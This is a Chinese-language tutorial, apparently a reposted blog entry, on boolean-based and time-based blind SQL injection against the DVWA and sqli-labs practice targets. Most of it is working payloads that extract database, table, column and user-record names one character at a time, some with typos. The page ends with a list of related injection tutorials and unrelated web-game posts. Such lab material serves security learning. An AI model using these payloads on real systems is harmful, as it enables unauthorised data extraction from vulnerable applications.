SQL注入2——盲注(重学)

article/2025/9/13 16:36:51

SQL注入——盲注


SQL注入——盲注

  • SQL注入——盲注
  • 一、布尔型盲注
    • 1、判断
    • 2、盲注库名
    • 3、盲注表名
    • 4、盲注列名
    • 5、盲注数据
  • 时间型盲注
  • 总结


一、布尔型盲注

假如网站一定存在SQL注入,当注入SQL语句(1’ and 1=2#)之后,网站页面缺没有返回SQL语句执行结果,那这种SQL注入就属于盲注
而当我们只能通过页面返回的结果的“是”与“否”来得到我们想要的信息就被叫做布尔型盲注

1、判断

这里以DVWA为例:
后两条sql语句执行结果不一样可以判定为盲注,满足大部分场景。因为不能排除数据库中本来就有这两条数据,导致搜索结果不一致。此时需要引入第一条判断条件。

第一条和第二条的结果一样的时候,并且第二条和第三条结果不一样的时候才能判定为盲注。

1

在这里插入图片描述

1’ and 1=1#

在这里插入图片描述

1’ and 1=2#

在这里插入图片描述

2、盲注库名

显注构造语句后可以直接在页面上获得数据库名

1’ and 1=2 union select 1,schema_name from information_schema.schemata #

1、布尔型盲注首先需要我们知道有多少个数据库

1’ and (select count(schema_name) from information_schema.schemata)=6#

MYSQL数据库默认的information_schema库的schemata表的schema_name字段存储这数据库中的所有数据库的名字,通过这个此我们可以知道有多少个数据库。

2、我们需要知道第一个数据库名的长度

1’ and length((select schema_name from information_schema.schemata limit 0,1))=18#

limit(offset,rows)
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数。
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

3、注入第一个库名

1’ and substring((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’ #
1’ and substring((select schema_name from information_schema.schemata limit 0,1),2,1)=‘n’ #

得到第一个库名为默认的information_schema

3、盲注表名

逻辑同上
1、查询库内有多少个表

1‘ and count(select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2#

2、查询库内第一个表名的长度

1’ and length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9 #

3、盲注表名

1’ and substring(select table_name from information_schema where tabe_schema =database() limit 0,1),1,1)=‘g’#

1’ and (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=‘u’ #

1’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=‘e’ #
依照此逻辑可以依次推出余下字符还有剩下的表

4、盲注列名

1、查询表内有多少个字段

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and tabe_name=‘users’)=8#

2、判断每一个字段的长度

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 0,1))=7#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1))=4#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 4,1))=8#

3、盲注字段名

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),1,1))=‘u’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),2,1))=‘s’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),3,1))=‘e’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),4,1))=‘r’#

5、盲注数据

1’ and (select count(*) from dvwa.users)=5# (判断列中有几条记录)

1’ and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)

1’ and substr((select user from users limit 0,1),1,1)=‘a’ # (判断user这一列的第一条记录的第一个字段是否为a)

1’ and substr((select user from users limit 0,1),2,1)=‘d’# (判断user这一列的第一条记录的第二个字段是否为d)

1’ and substr((select user from users limit 1,1),1,1)>‘g’# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)

时间型盲注

我们以sqli-labs第九关为例
我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。
image-20220219012736335
image-20220219013005252
这种情况下就可以考虑盲注的另外一种形式,时间注入

时间盲注和布尔型盲注的区别在于,布尔型盲注通过页面的报错信息判断“是”与“否”,而时间型盲注利用==sleep()==函数让数据库的执行时间变长来判断“是”与“否”。
时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:

if(length(database())>1,sleep(5),1)

它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。

具体注入逻辑与布尔型盲注无区别只要把布尔型的payload带入if语句即可
即:

1’ and if($盲注语句,sleep(5),1)#

总结

时间型盲注的payload可以带入布尔型盲注和显注,布尔型盲注也可以带入显注,所以以后可以图方便只发现时间型盲注就可以了。


不想学辣,好累啊


http://chatgpt.dhexx.cn/article/CJpAx2fC.shtml

相关文章

注入利用——盲注

盲注基本概念: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于布尔的盲注 Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库 中的相关信息。 …

SQL注入-布尔盲注

页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length(abc) -- 判断字符串长度 substr(abc,1,1) -- 截取字符串,从第1个字符开始截取,截取1个 第一步,判断注入类型…

SQL注入原理-时间盲注

小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数…

sql注入之盲注相关知识

盲注 一.概念理解: 盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。 二.盲注基本条件: 自己可以控制输入 原程序要执行的代码拼接了用户输入的数据。 …

盲注--理论知识

盲注的简单定义: 我们在查询过程中,页面只有两种情况:“true”和“false”,要么有,要么没有;查询表的记录和语句错误也不会显示。这种状况下的注入,称为盲注。 盲注的关键点: 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」:此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 (一)布尔盲注 (二)时间盲注 3、盲注常用方法 (一)length()函数 (二)substr()截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例) 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部,每个数据表都有一个伪列ROWID,用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容,而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等,所以只能通过伪列的方式去满足分页功能,在此,不谈分页方法,只从根本上去介绍这两个伪列的用法与原理,同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉,觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情,好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇,写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西,很有帮助。 这两年WebGame比较火,WebGame中,前端用Flash表现比较多,而服务器端依然是Web应用。 不少产品已经开始用AMF(Action Message Format)来取代标准的HTTP交互。&#xf…

webgame《天龙诀》完整网页游戏源码

webgame 天龙诀源码,网页端使用了Flash游戏引擎,服务端c开发,解压后488mb,仅供学习参考,请勿用于商业用途。 天龙诀剧情情节扣人心弦,让各位玩家身临其境,化身门派高手经历艰难险阻、感受受生死…

[转]用python来开发webgame服务端(4)

[刺鸟原创文章,转载请注明出处] 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种: 1、用现成的协议及类库处理,比如:py…

[转]用python来开发webgame服务端(2)

[刺鸟原创文章,转载请注明出处] 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来,我们作一个简单的测试。 说是简单的测试,一点也不假…

转:: 刺鸟:用python来开发webgame服务端(1)

来源:http://ciniao.me/article.php?id9 --------------- 刺鸟原创文章,转载请注明出处 在开始之前,先简单描述一下项目的特点:我要实现的是一个mmorpg的webgame,地图上需要看到其他的玩家,战斗系统采用…

转:: 刺鸟:用python来开发webgame服务端(4)

来源:http://ciniao.me/article.php?id14 --------------- 刺鸟原创文章,转载请注明出处 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种&am…

[转]用python来开发webgame服务端(3)

[刺鸟原创文章,转载请注明出处] 在之前的准备工作中,我们已经建立了一个socket服务器,并且经过了简单的测试,得到的结论是python可以满足我们的需求,那么接下来,我们要解决的是身为webgame服务端必须的几个…

转:: 刺鸟:用python来开发webgame服务端(2)

来源:http://ciniao.me/article.php?id10 --------------- 刺鸟原创文章,转载请注明出处 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来&#…